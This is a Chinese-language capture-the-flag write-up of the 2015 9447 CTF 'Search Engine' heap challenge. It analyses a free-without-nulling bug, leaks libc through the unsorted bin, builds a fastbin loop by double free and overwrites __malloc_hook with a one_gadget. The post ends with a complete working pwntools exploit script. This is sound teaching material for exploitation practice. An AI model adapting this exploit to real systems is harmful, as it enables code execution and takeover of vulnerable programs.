欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

2015 9447 CTF : Search Engine

程序员文章站 2022-07-15 12:42:15
...

程序分析

index a sentence

  1. 首先读入size大小的sentence,数据读入到malloac出的一个chunk中。
  2. 对sentence中的每个word建立对应的结构体,也是分配到堆中,结构体中的组成为:
struct word {
	word ptr //指向每个word的起始地址
	word size //每个word的大小
	sentence ptr //指向句子的起始地址
	sentence size //每一个句子的大小
	pre_word_ptr //指向上一个word struct的指针
}

并且在bss段中的0x6020B8地址上记录着最后一个word struct的地址。并且每次再调用index a sentence时,新增的第一个word struct的pre_word_ptr域也会指向上一个sentence中的最后一个word。

search

  1. 输入word的大小和内容,以输入的大小为size malloc一个堆。
  2. 从最后一个word struct开始找起,通过每个struct的pre_word_ptr一直向前找。
  3. 然后这里有两个check。第一,当前的word_struct的sentence ptr指向的内容不能为空。第二,当前的word_struct中的size字段要和输入的word的size大小一致,并且通过memcmp(word_struct->word_ptr, word_ptr, size)来比较输入的word内容和当前struct的word ptr指向的内容是否一致。
  4. 通过这两个check之后,分别打印该word struct对应的sentence size和内容。
  5. 询问是否删除句子,如果删除的话,就清空该sentence中的内容,并且把该word_struct中的sentence_ptr指针free掉
    注意这里free之后没有把指针设置为空,存在漏洞,之后可以通过double free来进行一个利用

开启的保护

2015 9447 CTF : Search Engine
没有开启PIE,调试起来还是比较方便的。

利用思路

泄漏libc

这里利用free掉一个非fast chunk的块,会落入unsorted bin之中,如果此时unsorted bin中只有这一个free的块并且这个块的下一个块不是top chunk,那么此时这个块的fd和bk均指向main_arena+88这个地址。而main_arena和libc的偏移是固定的,由此可以泄漏出libc的地址。
所以我们先通过index_a_sentence来申请一个size大小大于0x70(实际chunk大小大于0x80)的块,再把它free掉落入unsorted bin中,并且由于free之后指针并没有被清空,只要我们绕过之前说的那两个check就能打印出sentence中的内容(就是fd和bk的指针值)来泄漏libc的地址。
两个check的绕过可以通过这样的思路:第一个check是检查sentence中的内容是否为空,由于我们free的chunk大小大于fast chunk且不和top chunk紧邻,所以fd,bk中都有值。此时的堆内存的布局为:
2015 9447 CTF : Search Engine
第二个check是要检查输入的word和实际的word的值是否一致。由于之前sentence内容被清空且被free,布局如上图所示。所以我们只需要search的word为\x00就可以了pass这个check。不过要注意第一次建立sentence的时候要建立如“A”*0x80 + “ “ + ”B”。不能是“B” + “ ” + “A”*0x80,否则由于fd,bk指针的缘故就不能输入\x00来pass这个check。

总体的泄漏libc的脚本如下:

def leak():
    unsorted_bin_sentece = "s"*0x85 + " m"
    index_a_sentence(unsorted_bin_sentece)
    seach_word("m")
    io.recvuntil("(y/n)?")
    io.sendline("y")
    seach_word("\x00")
    io.recvuntil("Found " + str(len(unsorted_bin_sentece)) + ": ")
    main_arena_addr = u64(io.recv(6).ljust(8, "\x00")) - 88
    libc_addr = main_arena_addr - 0x3c4b20
    io.recvuntil("(y/n)?")
    io.sendline("n")
    return libc_addr, main_arena_addr

double free建立循环链表。

由于在程序分析时,发现没有对free的指针进行置空。可以造成一个double free。
我们先申请三个fast bin。fastbins的落在0x70(这是因为之后伪造的chunk的size也要落在0x70)

index_a_sentence("a"*0x5d + " d") #chunk a
index_a_sentence("a"*0x5d + " d") #chunk b
index_a_sentence("a"*0x5d + " d") #chunk c

再通过search(“d”)把这个三个chunk free掉。顺序依次是
free c–>free b–>free a,fastbins的布局是a–>b–>c
堆内存中a,b都有fd指针,能pass check1,c的内容为空。

接下来search("\x00"),先对c,但是c不能通过check1。接下来对b,能通过check1、2,我们对b再一次进行free,此时fastbins的布局为b–>a—>b–>a–>…形成了一个循环链表。

接下来对a,就不free了,最后还是对a(因为最之前泄漏libc时申请的内存),也不free。

伪造chunk进行任意写。

构造完成一条循环fastbins链之后,可以通过四次malloc来进行任意地址写。此时fastbins的布局为b–>a—>b–>a–>…。第一次malloc,返回chunk b,我们此时修改fd的指针到一个伪造的chunk处(要满足size字段的检测);第二次malloc,返回chunk a;第三次malloc,返回chunk b;
第四次malloc,由于之前把b的fd指针修改了,这个返回的就是伪造chunk的地址。
这里我们想在__malloc_hook地址上写入one gadget,所以我们找一个malloc之前的fake chunk。

这里可以借助pwndgb的find_fake_fast来找
用法 find_fake_fast 想要覆盖的地址 size的大小
2015 9447 CTF : Search Engine
fake chunk的地址和结构。
2015 9447 CTF : Search Engine

one gadget可能要多试一试,就能get shell。

完整的exp

#coding=utf-8
from pwn import *

DEBUG = 1
io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
if DEBUG:
    context.log_level = "debug"
    context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]

def index_a_sentence(sentence):
    io.recvuntil("Quit\n")
    io.sendline("2")
    io.recvuntil("size:")
    io.sendline(str(len(sentence)))
    io.recvuntil("sentence:")
    io.sendline(sentence)

def seach_word(word):
    io.recvuntil("Quit\n")
    io.sendline("1")
    io.recvuntil("size:")
    io.sendline(str(len(word)))
    io.recvuntil("word:")
    io.sendline(word)

def leak():
    unsorted_bin_sentece = "s"*0x85 + " m"
    index_a_sentence(unsorted_bin_sentece)
    seach_word("m")
    io.recvuntil("(y/n)?")
    io.sendline("y")
    seach_word("\x00")
    io.recvuntil("Found " + str(len(unsorted_bin_sentece)) + ": ")
    main_arena_addr = u64(io.recv(6).ljust(8, "\x00")) - 88
    libc_addr = main_arena_addr - 0x3c4b20
    io.recvuntil("(y/n)?")
    io.sendline("n")
    return libc_addr, main_arena_addr

libc_addr, main_arena_addr = leak()

print("libc address: " + hex(libc_addr))

index_a_sentence("a"*0x5d + " d") #chunk a
index_a_sentence("a"*0x5d + " d") #chunk b
index_a_sentence("a"*0x5d + " d") #chunk c

seach_word("d")
io.recvuntil("(y/n)?")
io.sendline("y") #free c
io.recvuntil("(y/n)?")
io.sendline("y") #free b
io.recvuntil("(y/n)?")
io.sendline("y") #free a
# fastbins 0x70:  a->b->c

seach_word("\x00")
io.recvuntil("(y/n)?")
io.sendline("y") #free b
# fastbins 0x70:  b->a->b->....
# double free 构建了循环链表
io.recvuntil("(y/n)?")
io.sendline("n")
io.recvuntil("(y/n)?")
io.sendline("n")

one_gadget_addr = libc_addr + 0xf1147
fake_chunk_addr = main_arena_addr - 51
payload = p64(fake_chunk_addr).ljust(0x60, "a")
index_a_sentence(payload) # return chunk b and edit fd
# fastbins: a->b->fake_chunk    notice that fake_chunk size should fall in right fastbins index
index_a_sentence("a"*0x60) # return chunk a
index_a_sentence("a"*0x60) # return chunk b whose fd has been modified
payload = ("a"*19 + p64(one_gadget_addr)).ljust(0x60, "a")

#gdb.attach(io)
index_a_sentence(payload)

io.interactive()